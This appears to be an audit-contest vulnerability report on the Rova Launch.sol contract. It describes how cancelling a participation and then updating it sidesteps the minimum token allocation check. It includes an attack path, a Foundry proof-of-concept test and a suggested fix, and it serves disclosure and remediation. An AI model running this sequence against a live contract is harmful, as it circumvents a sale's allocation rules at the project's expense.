Interesting Fuzzy Hamster

High

# Bypass of Minimum Token Allocation Limits via Participation Cancellation and Update

### Summary

The protocol allows users to [cancel](https://github.com/sherlock-audit/2025-02-rova/blob/53fb6d71d253676bfbd00926e8f217f40c62d8c5/rova-contracts/src/Launch.sol#L404) existing participations via cancelParticipation and create new participations via [updateParticipation](https://github.com/sherlock-audit/2025-02-rova/blob/53fb6d71d253676bfbd00926e8f217f40c62d8c5/rova-contracts/src/Launch.sol#L312). A logical flaw in validation checks enables users to bypass the minTokenAmountPerUser constraint by combining these two operations.

### Root Cause

When a user cancels their participation, their total allocated tokens (userTokensByLaunchGroup) are[ reset](https://github.com/sherlock-audit/2025-02-rova/blob/53fb6d71d253676bfbd00926e8f217f40c62d8c5/rova-contracts/src/Launch.sol#L439) to zero.
```solidity
        EnumerableMap.Bytes32ToUintMap storage userTokens = _userTokensByLaunchGroup[request.launchGroupId];
        (, uint256 userTokenAmount) = userTokens.tryGet(request.userId);
        if (userTokenAmount - info.tokenAmount == 0) {
            // If total tokens requested for user is the same as the cancelled participation, remove user from launch group
>>            userTokens.remove(request.userId);

```

Subsequent calls to [updateParticipation](https://github.com/sherlock-audit/2025-02-rova/blob/53fb6d71d253676bfbd00926e8f217f40c62d8c5/rova-contracts/src/Launch.sol#L364) do not enforce the [minTokenAmountPerUser](https://github.com/sherlock-audit/2025-02-rova/blob/53fb6d71d253676bfbd00926e8f217f40c62d8c5/rova-contracts/src/Launch.sol#L368) rule if the user has no prior active participation.

```solidity
            uint256 additionalCurrencyAmount = newCurrencyAmount - prevInfo.currencyAmount;
            // Validate user new requested token amount is within launch group user allocation limits
            if (userTokenAmount + additionalCurrencyAmount > settings.maxTokenAmountPerUser) {
                revert MaxUserTokenAllocationReached(
                    request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
                );
            }

```
The updateParticipation function fails to validate the  minTokenAmountPerUser when the user has no prior active participation.


### Internal Pre-conditions

The administrator create a new launch group

### External Pre-conditions

1.users [participate ](https://github.com/sherlock-audit/2025-02-rova/blob/fe68ceb7d90693f9be5c7fb94dde130da8d60d9e/rova-contracts/src/Launch.sol#L215)a launch group

2.user [cancelParticipation](https://github.com/sherlock-audit/2025-02-rova/blob/53fb6d71d253676bfbd00926e8f217f40c62d8c5/rova-contracts/src/Launch.sol#L404)

3.users [update](https://github.com/sherlock-audit/2025-02-rova/blob/fe68ceb7d90693f9be5c7fb94dde130da8d60d9e/rova-contracts/src/Launch.sol#L312) their requested token amount and calculate payment amount.

### Attack Path

Step 1: Legitimate Initial Participation

User A [participates](https://github.com/sherlock-audit/2025-02-rova/blob/53fb6d71d253676bfbd00926e8f217f40c62d8c5/rova-contracts/src/Launch.sol#L215) with X tokens where X â‰¥ [minTokenAmountPerUser](https://github.com/sherlock-audit/2025-02-rova/blob/53fb6d71d253676bfbd00926e8f217f40c62d8c5/rova-contracts/src/Launch.sol#L258) (e.g 1000e18 > 500e18).
userTokensByLaunchGroup[UserA] =1000e18 (valid).

Step 2: Cancellation

User A calls cancelParticipation,[ triggering](https://github.com/sherlock-audit/2025-02-rova/blob/53fb6d71d253676bfbd00926e8f217f40c62d8c5/rova-contracts/src/Launch.sol#L439):
`userTokens.remove(userId);   // Resets allocation to zero  `

Step 3: Bypass Minimum Allocation

User A calls [updateParticipation](https://github.com/sherlock-audit/2025-02-rova/blob/53fb6d71d253676bfbd00926e8f217f40c62d8c5/rova-contracts/src/Launch.sol#L312) with Y tokens where Y < minTokenAmountPerUser (e.g Y = 10e18 <500e18).
The system only [checks](https://github.com/sherlock-audit/2025-02-rova/blob/53fb6d71d253676bfbd00926e8f217f40c62d8c5/rova-contracts/src/Launch.sol#L368C13-L368C94):
`if (userTokenAmount + additionalCurrencyAmount > settings.maxTokenAmountPerUser) `


Result: userTokensByLaunchGroup[UserA] = 10e18 (invalid).
Malicious users participated in a launch group at minimal cost

### Impact

Attackers can bypass the minimum token allocation rules, violating project governance and risking underfunding.

### PoC

Path: test/poc.t.sol

```solidity
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    ParticipationInfo,
    CancelParticipationRequest,
    UpdateParticipationRequest
} from "../src/Types.sol";
import "forge-std/console.sol";
contract LaunchCancelParticipationTest is Test, Launch, LaunchTestBase {
    LaunchGroupSettings public settings;

    function setUp() public {
        _setUpLaunch();

        // Setup initial participation
        settings = _setupLaunchGroup();
        ParticipationRequest memory request = _createParticipationRequest();
        bytes memory signature = _signRequest(abi.encode(request));

        vm.startPrank(user1);
        currency.approve(
            address(launch), _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount)
        );
        launch.participate(request, signature);

        vm.stopPrank();
    }

    function test_CancelParticipation() public {
        // Prepare cancel participation request
        CancelParticipationRequest memory cancelRequest = _createCancelParticipationRequest();
        bytes memory cancelSignature = _signRequest(abi.encode(cancelRequest));

        ParticipationInfo memory info = launch.getParticipationInfo(cancelRequest.launchParticipationId);
        assertEq(info.tokenAmount, 1000 * 10 ** 18);
        assertEq(info.currencyAmount, 1000 * 10 ** 18);


        vm.startPrank(user1);

        // Expect ParticipationCancelled event
        vm.expectEmit();
        emit ParticipationCancelled(
            cancelRequest.launchGroupId,
            cancelRequest.launchParticipationId,
            cancelRequest.userId,
            user1,
            info.currencyAmount,
            address(currency)
        );

        // Update participation
        launch.cancelParticipation(cancelRequest, cancelSignature);
        vm.stopPrank();

        //  create Update Participation Request with 10e18  
        UpdateParticipationRequest memory updateRequest = _createUpdateParticipationRequest(10);
    
        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));

        vm.startPrank(user1);
        
        currency.approve(
            address(launch), _getCurrencyAmount(updateRequest.launchGroupId, updateRequest.currency, updateRequest.tokenAmount)
        );

        //  Update participation 
        launch.updateParticipation(updateRequest, updateSignature);
        vm.stopPrank();

        // Verify update
        ParticipationInfo memory newInfo = launch.getParticipationInfo(updateRequest.newLaunchParticipationId);
        assertEq(newInfo.tokenAmount, 1e19);
        //console.log(newInfo.tokenAmount);
        assertEq(newInfo.currencyAmount, 1e19);
        //console.log(newInfo.currencyAmount);

    }

    function _createUpdateParticipationRequest(uint256 newTokenAmount)
        internal
        view
        returns (UpdateParticipationRequest memory)
    {
        uint256 launchTokenDecimals = launch.tokenDecimals();
        return UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: testLaunchParticipationId,
            newLaunchParticipationId: "newLaunchParticipationId",
            userId: testUserId,
            userAddress: user1,
            tokenAmount: newTokenAmount * 10 ** launchTokenDecimals,
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
    }
}



```

### Mitigation

Enforce Minimum Allocation During Updates
```solidity
// In updateParticipation()  
if (newCurrencyAmount > prevInfo.currencyAmount)  {  
   
 ...........................
    require(  
        updatedTotal >= settings.minTokenAmountPerUser,   
        "MinUserTokenAllocationNotReached"  
    );  

...........................
}  


```